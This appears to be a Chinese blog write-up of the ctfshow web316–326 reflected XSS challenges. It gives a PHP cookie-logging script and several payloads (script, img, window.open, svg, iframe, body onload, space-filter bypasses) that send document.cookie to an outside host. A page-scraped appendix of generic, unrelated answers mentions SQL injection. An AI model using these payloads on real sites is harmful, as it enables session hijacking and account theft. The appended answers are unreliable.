ctfshow_web316-326_反射型XSS

Web316 反射型XSS

首先打开网站,看一下,发现这个是反射型XSS
在这里插入图片描述

法一:自己有服务器域名

反射型,可以在自己服务器上,写一个类似于将参数写到当前目录PHP的小脚本。
脚本具体内容如下:

<?php
$content = $_GET[1];
if(isset($content)){
    file_put_contents('tmp/flag.txt',$content);
}else{
    echo 'no date input';
}

开发者工具里,控制台,输入命令

alert(document.cookie)

在这里插入图片描述
之后出现弹窗,如下
在这里插入图片描述
显然不对,之后要想拿到管理员的这个弹窗里的flag
如果有自己私域的话,可以用上面代码然后使用下述payload,可以在tmp文件夹下看到flag.txt里有flag
注意,这里不能用自己127.0.0.1,需要转发cookie才能看到,所以要用私域。

<script>
document.location.href='http://这里是私域名/316.php?1='+document.cookie
</script>
<!--316.php是写的php代码-->

法二:使用ceye网址临时域名

这个需要一个域名,去这个网站可以注册一个临时域名:CEYE
之后输入如下payload,然后生成链接,之后便可在那个网站里收到http响应。

<script>
var img=document.createElement("img"); img.src="http://gvipx6.ceye.io/"+document.cookie;
</script>
<!--这里gvipx6.ceye.io是上述网址产生的临时域名-->

这个payload的意思如下:

var img=document.createElement("img");  //这个是生成一个img对象
img.src="http://gvipx6.ceye.io/"+document.cookie; 
/*是加载一张图片加上当前的cookie这里我们填写的是接收平台的地址,所以带上document.cookie去加载地址然后平台会有记录cookie的值,ctf平台会有个虚拟机器人,充当admin身份,每隔一段时间点开网站它一点开就会加载payload,发送它自身的cookie在那个框内输入那个标签输进去,网站一加载就执行了我们输入的xss代码然后他自己会发送cookie
*/

话说这个网址的虚拟机器人充当admin身份,可以直接查看http,上面的php代码没有用到。
在这里插入图片描述
之后便得到了flag

ctfshow{09df5968-f68b-423e-b12f-7b8fce03d73f}

法三:使用xss平台

使用xss平台:https://xss.pt/xss.php
参考这个博主师傅的方法:使用XSS Platform解决XSS题目

普通反射型XSS方法总结

  • script
<script>var img=document.createElement("img"); img.src="http://....ceye.io/"+document.cookie;</script>
  1. window.open
<script>window.open('http://....ceye.io/'+document.cookie)</script>
  1. input
<input onfocus="window.open('http://....ceye.io/'+document.cookie)" autofocus>
  1. svg
<svg onload="window.open('http://....ceye.io/'+document.cookie)">
  1. iframe
<iframe onload="window.open('http://....ceye.io/'+document.cookie)"></iframe>

5. body

<body onload="window.open('http://....ceye.io/'+document.cookie)">
  1. 可能还有一个工具和一个平台对付此类题很好用:
    平台:XSS Platform
    工具:XSStrike

web317 反射型XSS 带过滤 用

看题目这里,发现它过滤了。
在这里插入图片描述
输入316题的payload,发现没有任何东西。
由此可知,可能是过滤了

  • 用body语句构造payload
<body onload="window.open('http://gvipx6.ceye.io/'+document.cookie)"></body>

写入之后,点击生成链接之后,出现了此界面,有代码201可知,注入成功,看一下ceye的网址上http request
在这里插入图片描述
出现了flag
在这里插入图片描述
本题的flag为

ctfshow{47df6a6c-2ce2-4786-b8b8-985289cff2fd}

web318 反射型XSS 带过滤 用

和上一个题一样,输入payload

<body onload="window.open('http://gvipx6.ceye.io/'+document.cookie)"></body>

出现201代码
在这里插入图片描述
打开ceye网站,看到flag
在这里插入图片描述
flag如下:

ctfshow{d7410f6b-2110-4aa2-81c7-3f0d80ac157f}

web319 反射型XSS 带过滤 用

和之前一样,构造payload

<body onload="window.open('http://gvipx6.ceye.io/'+document.cookie)"></body>

在这里插入图片描述
在这里插入图片描述
flag如下:

ctfshow{30eb2d6e-e25b-4d48-a214-a26a7defd9ec}

web320 带过滤(空格)反射型XSS 用

如之前的题,构造一样的payload,生成链接

<body onload="window.open('http://gvipx6.ceye.io/'+document.cookie)"></body>

点击生成链接之后,发现没有反应,发现这个题是过滤了空格

一般空格被过滤有如下替换方法

  1. /**/
  2. /

之后修改payload,把空格替换成/**/,变成如下payload,两个都可以

<body/**/οnlοad="window.open('http://gvipx6.ceye.io/'+document.cookie)"></body>
<body/οnlοad="window.open('http://gvipx6.ceye.io/'+document.cookie)"></body>

在这里插入图片描述
在这里插入图片描述
flag如下:

ctfshow{9dbd340c-ba6f-4a10-88b7-d5ed49f7a671}

web321 带过滤(空格)反射型XSS 用

和上一个题一样
构造payload

<body/οnlοad="window.open('http://gvipx6.ceye.io/'+document.cookie)"></body>

在这里插入图片描述
在这里插入图片描述
flag如下

ctfshow{ea096bdf-2c6b-4ca5-a8ed-e0c77e6eaeef}

web322 过滤(空格)反射型XSS 用

构造payload

<body/οnlοad="window.open('http://gvipx6.ceye.io/'+document.cookie)"></body>

在这里插入图片描述
在这里插入图片描述
flag如下

ctfshow{0cd32425-ed6b-47d9-8c0d-9e9d4d5d4648}

web323 过滤(空格)反射型XSS 用

和上题一样的payload,也是过滤了空格

<body/οnlοad="window.open('http://gvipx6.ceye.io/'+document.cookie)"></body>

在这里插入图片描述
在这里插入图片描述
flag如下:

ctfshow{7a355fe9-775c-4918-a1d6-d15ca2b53148}

web324 过滤(空格)反射型XSS 用

和上题一样的payload,也是过滤了空格

<body/οnlοad="window.open('http://gvipx6.ceye.io/'+document.cookie)"></body>

在这里插入图片描述
在这里插入图片描述

ctfshow{2656346c-f0b8-4e33-98d3-17da7379e64d}

web325 过滤(空格)反射型XSS 用

和上题一样的payload,也是过滤了空格

<body/οnlοad="window.open('http://gvipx6.ceye.io/'+document.cookie)"></body>

在这里插入图片描述
在这里插入图片描述

ctfshow{e46cfdf8-1926-476b-ac15-7a790472015f}

web326 过滤(空格)反射型XSS 用

和上题一样的payload,也是过滤了空格

<body/onload="window.open('http://gvipx6.ceye.io/'+document.cookie)"></body>

在这里插入图片描述
在这里插入图片描述

ctfshow{7aa1a537-36af-4162-91f4-d38ac4a75d88}
  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: ctfshow-web-web红包题是一道CTF比赛中的网络安全题目。这道题目的背景是一个在线购物网站,要求我们通过安全漏洞来获得网站的红包。 首先,我们可以检查网站的源代码,寻找可能存在的漏洞。在网站的前端页面中,我们注意到了一个提交订单的功能,并且发现了其中一个参数可以被用户任意修改。这可能导致一个被称为SQL注入的漏洞。 我们试图通过在参数中插入恶意代码来进行SQL注入攻击。我们发现当我们输入`' or 1=1 -- `时,查询结果会返回所有订单记录,而不仅仅是当前用户的订单。这表明成功利用了SQL注入漏洞。 接下来,我们要尝试进一步利用这个漏洞来获取网站的红包。我们可以通过构建特制的SQL语句来绕过登录过程,直接获取红包的信息。 最终,我们成功地利用了网站存在的漏洞,获取到了红包的相关信息。这个过程展示了在网络安全竞赛中,如何通过分析代码和利用漏洞来实现攻击的目标。 在这个过程中,我们需要具备对SQL注入漏洞的理解和掌握,并且需要有一定的编程和网络安全知识。通过解决这样的题目,我们可以提高我们对网络安全攻防的认识和技能,以更好地保护网络安全。 ### 回答2: ctfshow-web-web红包题是一个CTF(Capture the Flag)比赛中的Web题目,目标是通过分析Web应用程序的漏洞来获取红包。CTF比赛是一种网络安全竞赛,在这种比赛中,参赛者需要通过解决各种不同类的安全挑战来积分。 该题目中的Web应用程序可能存在一些漏洞,我们需要通过分析源代码、网络请求和服务器响应等信息来找到红包的位置和获取红包的方法。 首先,我们可以查看网页源代码,寻找可能的注入点、敏感信息或其他漏洞。同时,我们还可以使用开发者工具中的网络分析功能来查看浏览器和服务器之间的通信内容,找到可能存在的漏洞、密钥或其他敏感信息。 其次,我们可以进行输入测试,尝试不同的输入来检查是否存在注入漏洞、文件包含漏洞、路径遍历漏洞等。通过测试和观察响应结果,我们可以得到一些重要的信息和线索。 最后,我们可以分析服务器响应和错误信息,查找可能存在的网站配置错误、逻辑漏洞或其它任何可以利用的安全问题。此外,我们还可以使用常见的Web漏洞扫描工具,如Burp Suite、OWASP ZAP等,来辅助我们发现潜在的漏洞。 通过以上的分析和测试,我们有可能找到获取红包的方法。然而,具体的解题方法还需要根据题目中的具体情况来确定。在CTF比赛中,每个题目的设置都可能不同,解题的方法和思路也会有所差异。因此,在解题过程中,要保持敏锐的观察力和灵活的思维,尝试不同的方法和技巧,才能成功获取红包并完成任务。 ### 回答3: ctfshow-web-web红包题是一个CTF比赛中的网络题目,其目标是寻找并利用网页内的漏洞,获取红包。 首先,我们需要分析该网页的源代码,寻找可能存在的漏洞。可以通过审查元素、浏览器开发者工具等方式进行源代码分析。 其中,可能存在的漏洞包括但不限于: 1. 文件路径遍历漏洞:通过对URL的参数进行修改,尝试访问其他目录中的文件。 2. XSS漏洞:通过在用户输入的地方注入恶意代码,实现攻击者想要的操作。 3. SQL注入漏洞:通过修改数据库查询参数,获取未授权的数据。 4. 文件上传漏洞:上传恶意文件并执行。 一旦发现漏洞,我们需要进一步利用它们来获取红包。例如,如果存在文件路径遍历漏洞,我们可以尝试通过修改URL参数的方式,访问网站服务器上存放红包的文件目录,获取目录中的文件。 如果存在XSS漏洞,我们可以尝试在用户输入的地方注入一段JavaScript代码,以获取网页中的敏感信息或执行一些恶意操作,如窃取cookies。 如果存在SQL注入漏洞,我们可以尝试通过修改数据库查询参数,获取未授权的数据,如红包的具体位置或密码。 如果存在文件上传漏洞,我们可以尝试上传一个特殊设计的恶意文件,以执行任意命令或获取服务器上的文件。 综上所述,ctfshow-web-web红包题需要我们深入分析网页代码,发现可能存在的漏洞,并利用这些漏洞获取红包。这个过程需要我们对常见的漏洞类有一定的了解,并具备相关的漏洞利用技术。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值